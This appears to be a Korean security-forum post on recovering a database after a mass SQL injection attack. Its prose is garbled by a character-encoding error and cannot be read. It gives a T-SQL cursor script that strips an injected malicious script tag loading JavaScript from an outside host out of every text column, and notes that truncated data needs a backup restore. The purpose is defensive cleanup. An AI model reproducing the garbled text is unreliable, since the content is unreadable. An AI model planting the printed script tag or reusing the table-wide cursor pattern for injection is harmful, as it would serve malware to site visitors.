ÇØÅ·°ú º¸¾È > SQL Injection  > 02. Mass SQL Injection Attact¿¡ ´ëÇÑ DB º¹±¸ 
	
	MASS SQL Injection ¿¡ ´çÇØ¼ ÇÇÇØº¸´Â »ç·Ê°¡ ¸¹Àº°Í °°½À´Ï´Ù. Àúµµ Çѹø Á¦´ë·Î ´çÇÑÀûÀÌ ÀÖ½À´Ï´Ù.... 
	±×·¡¼ ¿äÁò ÀÌ·± ÇüÅ ºÐ¼®¿¡ ¸¹Àº ½Ã°£À» ÅõÀÚÇϰí Àֳ׿ä..
	¾Æ·¡ Äõ¸®¸¦ ½ÇÇà½Ã۸é MASS SQL Injection·Î ´çÇÑ DB¿¡¼ ¾Ç¼ºÄÚµå ¹®ÀÚ¿À» Á¦°ÅÇÕ´Ï´Ù.
	
	declare @t varchar(255),@c varchar(255) declare table_cursor cursor for 
	select a.name,b.name 
	from sysobjects a,syscoluMns b 
	where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
	open table_cursor fetch next from table_cursor into @t,@c 
	while(@@fetch_status=0) 
	begIn 
	exec('updaTe [' +@t+ '] set [' +@c+ '] = replace(convert(varchar(8000), [' +@c+ ']), ''<script src=http://www.killpp.cn/m.js></script>'','''')')
	fetch next from table_cursor into @t,@c 
	end 
	close table_cursor 
	deallocate table_cursor
	
	±½Àº ÆùÆ® ºÎºÐÀÌ ¾Ç¼º ½ºÅ©¸³Æ® ÀÔ´Ï´Ù.
	±½Àº ÆùÆ® ºÎºÐÀ» DB¿¡¼ Áö¿ì´Â Äõ¸®ÀÔ´Ï´Ù.
 
	±×·¸Áö¸¸ ¿ÏÀü º¹±¸´Â ºÒ°¡´É ÇÕ´Ï´Ù.
	¿Ö³ÄÇÏ¸é °ø°ÝÀÌ ¼º°øÇÏ¸é¼ µ¥ÀÌÅͰ¡ ©·Á¼ ¾÷µ¥ÀÌÆ®°¡ µÇ±â ¶§¹®ÀÔ´Ï´Ù.
	½±°Ô¿¹±âÇØ¼ 'ÀÎÅÍ³Ý º¸¾ÈÄ¿¹Â´ÏƼ ½ÃÅ¥¸®Æ¼Ç÷¯½º ÀÔ´Ï´Ù.' ¶ó´Â Ä÷³Àº 
	'ÀÎÅÍ³Ý º¸¾ÈÄ¿¹Â´ÏƼ ½ÃÅ¥¸®Æ¼Çà <script src=http://www.killpp.cn/m.js></script>' ·Î ¾÷µ¥ÀÌÆ®°¡ µË´Ï´Ù.
	30¹ÙÀÌÆ® ÀÌÈÄÀÇ µ¥ÀÌÅÍ '·¯½º ÀÔ´Ï´Ù.' ´Â »èÁ¦µÇ´Â °ÅÁÒ..,
	¾È½ÀÀ̳׿ä..
	°á±¹ ¹é¾÷¹ÞÀº µ¥ÀÌÅ͸¦ °¡Áö°í º¹±¸ÇÒ ¼ö ¹Û¿¡ ¾ø½À´Ï´Ù.
	°ø°ÝÀ» ´çÇϱâ Àü¿¡ ¸·À» ¼ö ¹Û¿¡ ¾ø³×¿ä.. ¤Ñ¤Ñ'